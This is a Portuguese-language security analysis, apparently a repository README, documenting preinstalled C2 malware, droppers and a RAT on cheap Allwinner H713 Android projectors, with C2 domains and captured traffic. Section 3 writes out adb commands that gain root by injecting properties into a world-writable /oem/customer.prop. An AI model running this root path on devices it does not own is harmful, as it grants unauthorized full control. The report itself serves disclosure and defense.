Infraestrutura C2 Pré-instalada e Payload RAT em Projetores Android

Relatório de Análise Técnica — Pesquisa de Segurança

Dispositivos Afetados: Múltiplos projetores Android de marcas como Nonete (ex.: Modelo HY260Pro) (provavelmente também vários projetores da Magcubic, Hotack, Huyukang e muitos outros, pois essas empresas distribuem modelos semelhantes e há indícios que apoiam isso)
Plataforma do Chipset: Allwinner H713 / sun50iw12p1 — potencialmente afeta todos os dispositivos nesta plataforma
Período de Análise: 11 a 17 de abril de 2026
Classificação: Infraestrutura de Comando e Controle pré-instalada com payload de Trojan de Acesso Remoto

TL;DR

O Problema: Numerosos projetores Android baratos (potencialmente marcas como Magcubic, Hotack, etc., utilizando o chip Allwinner H713), atualmente vendidos em grandes quantidades na Amazon, eBay e AliExpress, estão infectados com malware diretamente da fábrica (Ataque à Cadeia de Suprimentos, semelhante aos casos "BADBOX").
O Mecanismo: Um aplicativo de sistema aparentemente inofensivo ("StoreOS") atua como um dropper disfarçado. Ele baixa silenciosamente um Dropper de Estágio 2 chamado "SilentSDK" em segundo plano e o instala com privilégios máximos do sistema, que por sua vez instala uma estrutura modular, baseada em plugins, ciente da arquitetura, de RAT e possivelmente phishing.
O Perigo: O malware estabelece uma conexão C2 com a China (api.pixelpioneerss.com), extrai IDs sensíveis do dispositivo e pode baixar e executar código malicioso adicional arbitrário com privilégios de root a qualquer momento (chmod 777). Além disso, os dispositivos possuem backdoors de root abertos.
Mitigação Imediata: Os domínios C2 (especialmente *.aodintech.com, api.pixelpioneerss.com, sta.smartinnovate.net) devem ser bloqueados no nível de rede. Os usuários afetados só podem desabilitar os aplicativos maliciosos manualmente via ADB, pois estão profundamente embutidos no sistema.

Aviso de Urgência

A infraestrutura de malware documentada neste relatório está pré-instalada em projetores Android atualmente sendo vendidos em grandes quantidades para consumidores finais na Amazon, eBay e AliExpress. Os dispositivos afetados abrangem possivelmente múltiplas marcas (Hotack, Huyukang, Magcubic, Nonete, entre outras). Infraestrutura C2 idêntica foi confirmada independentemente em outros dispositivos do mesmo fabricante (veja Seção 13). O padrão corresponde aos casos BADBOX.

Índice

Identificação do Dispositivo
Fluxo de Trabalho da Investigação
Acesso Root — Caminho de Exploração
Resposta do Servidor C2 — Evidência Principal
Visão Geral do Ecossistema de Malware
StoreOS — Análise do Dropper (com.htc.storeos)
EventUploadService — Telemetria (com.htc.eventuploadservice)
ExpandSDK — Injeção de Anúncios (com.htc.expandsdk)
SilentSDK — Análise do Dropper de Estágio 2 (com.hotack.silentsdk)
O Malware
Backdoors do Sistema
Perícia de Rede
Spoofing de Dispositivo (Spoofing de Build Fingerprint)
Confirmação Externa
Indicadores de Comprometimento (IOCs)
Mapeamento MITRE ATT&CK
Mitigações Imediatas
Fontes

Dispositivo Adquirido: Amazon Link - Nonete Mini Beamer 4K 1080P

1. Identificação do Dispositivo

Propriedade	Valor
Nome da Marca	Nonete HY260Pro (modelo vendido por várias empresas)
Nome do Modelo Interno	NT10
SoC	Allwinner sun50iw12p1 (ARM 32 bits)
Sistema Operacional	SpectraOS (Android 11, Kernel 5.4.99)
Real Build Fingerprint	Allwinner/h713_tuna_p3/h713-tuna_p3:11
Spoofed Build Fingerprint	ADT-3/adt3/adt3:11/RP1A.201005.006
SELinux	Permissivo (sem aplicação)
Chave de Assinatura da Plataforma	Chave de Teste AOSP Pública
Certificado OEM	CN=蓝鲨, OU=www.bsh.me, C=CN
Canal de Firmware	HY260Pro_SpectraOS_TPYB

Nota sobre o escopo: O chipset Allwinner H713 está integrado em numerosos projetores Android baratos vendidos sob nomes de marcas variáveis no mercado europeu. A base de firmware idêntica (h713_tuna_p3) e o operador C2 idêntico (Shenzhen Aodin Technology) sugerem fortemente que todos os dispositivos deste OEM contêm a mesma infraestrutura.

2. Fluxo de Trabalho da Investigação

Etapa	Ação	Resultado
1	Captura de tráfego de rede com Wireshark	Tráfego HTTP para `store-api.aodintech.com`
2	Decodificação da resposta C2 compactada com gzip	7 apps, incluindo "SilentTools" oculto
3	Descriptografia AES-CBC do caminho de download	Chave `[REDACTED]`, URL para arquivo `.bpp`
4	Exploração de root via `/oem/customer.prop`	`uid=0(root)` após injeção de propriedade
5	Extração forense de `/data`, `/oem`, `/system`	APKs, bancos de dados, configurações
6	Análise estática do DEX do StoreOS	`pm install -r -d`, proteção de inversão de bytes
7	Engenharia reversa do mecanismo `reverseLen`	Compreensão da proteção antianálise
8	Quebra da proteção de inversão de bytes	DEX do SilentSDK descriptografado e analisável
9	Descriptografia XOR das strings do SilentSDK	Domínio C2 `api.pixelpioneerss.com` confirmado
10	Verificação de hash em três fontes	MD5/SHA-256 correspondem perfeitamente
11	Engenharia reversa do processo de download do malware	Servidores ainda online
12	Engenharia reversa do malware	Framework RAT baseado em plugins

3. Acesso Root — Caminho de Exploração

O acesso root foi alcançado através de uma combinação de três vulnerabilidades:

SELinux Permissivo — Violações de acesso são apenas registradas, não bloqueadas.
/oem gravável mundialmente — A partição é montada como FAT com fmask=0000.
customer.prop carregado na inicialização — Sobrescreve propriedades do sistema.```bash adb shell getenforce # Result: Permissive adb shell ls -la /oem/ # All files world-writable

adb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'

adb reboot && adb wait-for-device && adb root adb shell id

uid=0(root) gid=0(root) context=u:r:su:s0

**Impacto:** Qualquer utilizador com acesso físico ou um atacante na mesma rede (via ADB, porta 5555 aberta, sem autenticação) obtém acesso root completo.

---

## 4. Resposta do Servidor C2 — Evidência Principal

### Requisição HTTP Capturada```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

Resposta do Servidor (Decodificado do pcapng - Tabela)

A resposta compactada com gzip contém uma lista JSON com sete aplicativos. Seis deles são aplicativos de streaming comuns (YouTube, Netflix, Disney+, Prime Video, Chrome, BrowseHere). O sétimo é SilentTools:

App	Package	isShow	isForce	isSilent Install	isSilent Uninstall	launch Type
YouTube	`com.google.android.youtube.tv`	true	false	false	false	0
Disney+	`com.disney.disneyplus`	true	false	false	false	0
Netflix	`com.netflix.mediaclient`	true	false	false	false	0
Chrome	`com.android.chrome`	true	false	false	false	0
Prime Video	`com.amazon.amazonvideo.livingroom`	true	false	false	false	0
BrowseHere	`com.tcl.browser`	true	false	false	false	0
SilentTools	`com.hotack.silentsdk`	false	true	false	true	1

Mais Populares

Android-Projector-C2-Malware